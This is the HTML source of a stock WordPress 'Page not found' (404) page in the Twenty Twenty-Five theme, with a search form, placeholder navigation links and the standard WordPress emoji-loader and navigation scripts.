@font-face{font-family:Manrope;font-style:normal;font-weight:200 800;font-display:fallback;src:url('https://kgbatheletics.com/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2') format('woff2');}
@font-face{font-family:"Fira Code";font-style:normal;font-weight:300 700;font-display:fallback;src:url('https://kgbatheletics.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2') format('woff2');}
</style>
</head>

<body class="error404 wp-embed-responsive wp-theme-twentytwentyfive">

<a class="skip-link screen-reader-text" id="wp-skip-link" href="#wp--skip-link--target">Skip to content</a><div class="wp-site-blocks"><header class="wp-block-template-part">
<div class="wp-block-group alignfull is-layout-flow wp-block-group-is-layout-flow">
	
	<div class="wp-block-group has-global-padding is-layout-constrained wp-block-group-is-layout-constrained">
		
		<div class="wp-block-group alignwide is-content-justification-space-between is-nowrap is-layout-flex wp-container-core-group-is-layout-ec1e7a1e wp-block-group-is-layout-flex" style="padding-top:var(--wp--preset--spacing--30);padding-bottom:var(--wp--preset--spacing--30)">
			<p class="wp-block-site-title"><a href="https://kgbatheletics.com" target="_self" rel="home">Blog</a></p>
			
			<div class="wp-block-group is-content-justification-right is-nowrap is-layout-flex wp-container-core-group-is-layout-fbffc046 wp-block-group-is-layout-flex">
				<nav class="is-responsive items-justified-right wp-block-navigation is-content-justification-right is-layout-flex wp-container-core-navigation-is-layout-6e943505 wp-block-navigation-is-layout-flex" 
		 data-wp-interactive="core/navigation" data-wp-context='{"overlayOpenedBy":{"click":false,"hover":false,"focus":false},"type":"overlay","roleAttribute":"","ariaLabel":"Menu"}'><button aria-haspopup="dialog" aria-label="Open menu" class="wp-block-navigation__responsive-container-open" 
				data-wp-on--click="actions.openMenuOnClick"
				data-wp-on--keydown="actions.handleMenuKeydown"
			><svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7.5h16v1.5H4z"></path><path d="M4 15h16v1.5H4z"></path></svg></button>
				<div class="wp-block-navigation__responsive-container has-text-color has-contrast-color has-background has-base-background-color"  id="modal-1" 
				data-wp-class--has-modal-open="state.isMenuOpen"
				data-wp-class--is-menu-open="state.isMenuOpen"
				data-wp-watch="callbacks.initMenu"
				data-wp-on--keydown="actions.handleMenuKeydown"
				data-wp-on--focusout="actions.handleMenuFocusout"
				tabindex="-1"
			>
					<div class="wp-block-navigation__responsive-close" tabindex="-1">
						<div class="wp-block-navigation__responsive-dialog" 
				data-wp-bind--aria-modal="state.ariaModal"
				data-wp-bind--aria-label="state.ariaLabel"
				data-wp-bind--role="state.roleAttribute"
			>
							<button aria-label="Close menu" class="wp-block-navigation__responsive-container-close" 
				data-wp-on--click="actions.closeMenuOnClick"
			><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"></path></svg></button>
							<div class="wp-block-navigation__responsive-container-content" 
				data-wp-watch="callbacks.focusFirstElement"
			 id="modal-1-content">
								
								
							</div>
						</div>
					</div>
				</div></nav>
			</div>
			
		</div>
		
	</div>
	
</div>


</header>


<main id="wp--skip-link--target" class="wp-block-group is-layout-flow wp-block-group-is-layout-flow" style="padding-top:var(--wp--preset--spacing--50);padding-right:var(--wp--preset--spacing--50);padding-bottom:var(--wp--preset--spacing--50);padding-left:var(--wp--preset--spacing--50)">
	
<div class="wp-block-group has-global-padding is-layout-constrained wp-container-core-group-is-layout-e627a39a wp-block-group-is-layout-constrained" style="padding-right:0;padding-left:0">
	
	<div class="wp-block-columns alignwide is-layout-flex wp-container-core-columns-is-layout-b7f6f8cb wp-block-columns-is-layout-flex">
		
		<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
			
			<figure class="wp-block-image size-full">
				<img src="https://kgbatheletics.com/wp-content/themes/twentytwentyfive/assets/images/404-image.webp" alt="Small totara tree on ridge above Long Point" style="object-fit:cover"/>
			</figure>
			
		</div>
		
		
		<div class="wp-block-column is-vertically-aligned-bottom is-layout-flow wp-block-column-is-layout-flow">
			
			<div class="wp-block-group is-layout-flow wp-block-group-is-layout-flow">
				
				<h1 class="wp-block-heading">
					Page not found				</h1>
				
				
				<p class="wp-block-paragraph">The page you are looking for doesn&#039;t exist, or it has been moved. Please try searching using the form below.</p>
				
				
<form role="search" method="get" action="https://kgbatheletics.com/" class="wp-block-search__button-outside wp-block-search__text-button wp-block-search" ><label class="wp-block-search__label screen-reader-text" for="wp-block-search__input-2" >Search</label><div class="wp-block-search__inside-wrapper" ><input class="wp-block-search__input" id="wp-block-search__input-2" placeholder="Type here..." value="" type="search" name="s" required /><button aria-label="Search" class="wp-block-search__button wp-element-button" type="submit" >Search</button></div></form>

			</div>
			
		</div>
		
	</div>
	
</div>


</main>


<footer class="wp-block-template-part">
<div class="wp-block-group has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="padding-top:var(--wp--preset--spacing--60);padding-bottom:var(--wp--preset--spacing--50)">
	
	<div class="wp-block-group alignwide is-layout-flow wp-block-group-is-layout-flow">
		

		
		<div class="wp-block-group alignfull is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-cf54d0a6 wp-block-group-is-layout-flex">
			
			<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-794e3cfa wp-block-columns-is-layout-flex">
				
				<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:100%"><h2 class="wp-block-site-title"><a href="https://kgbatheletics.com" target="_self" rel="home">Blog</a></h2>

				
				</div>
				

				
				<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
					
					<div style="height:var(--wp--preset--spacing--40);width:0px" aria-hidden="true" class="wp-block-spacer"></div>
					
				</div>
				
			</div>
			

			
			<div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-bf19e0b3 wp-block-group-is-layout-flex">
				<nav class="is-vertical wp-block-navigation is-layout-flex wp-container-core-navigation-is-layout-831b2db5 wp-block-navigation-is-layout-flex" aria-label=" 2"><ul class="wp-block-navigation__container is-vertical wp-block-navigation"><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">Blog</span></a></li><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">About</span></a></li><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">FAQs</span></a></li><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">Authors</span></a></li></ul></nav>

				<nav class="is-vertical wp-block-navigation is-layout-flex wp-container-core-navigation-is-layout-831b2db5 wp-block-navigation-is-layout-flex" aria-label=" 3"><ul class="wp-block-navigation__container is-vertical wp-block-navigation"><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">Events</span></a></li><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">Shop</span></a></li><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">Patterns</span></a></li><li class="wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="#"><span class="wp-block-navigation-item__label">Themes</span></a></li></ul></nav>
			</div>
				
		</div>
		

		
		<div style="height:var(--wp--preset--spacing--70)" aria-hidden="true" class="wp-block-spacer"></div>
		

		
		<div class="wp-block-group alignfull is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-2ab8c7fb wp-block-group-is-layout-flex">
			
			<p class="has-small-font-size wp-block-paragraph">Twenty Twenty-Five</p>
			
			
			<p class="has-small-font-size wp-block-paragraph">
				Designed with <a href="https://wordpress.org" rel="nofollow">WordPress</a>			</p>
			
		</div>
		
	</div>
	
</div>


</footer>
</div>
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/twentytwentyfive/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script data-wp-router-options="{&quot;loadOnClientNavigation&quot;:true}" fetchpriority="low" id="@wordpress/block-library/navigation/view-js-module" src="https://kgbatheletics.com/wp-includes/js/dist/script-modules/block-library/navigation/view.min.js?ver=1bf28ded04f9f188bdcb" type="module"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://kgbatheletics.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1.4"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://kgbatheletics.com/wp-includes/js/wp-emoji-loader.min.js
</script>
</body>
</html>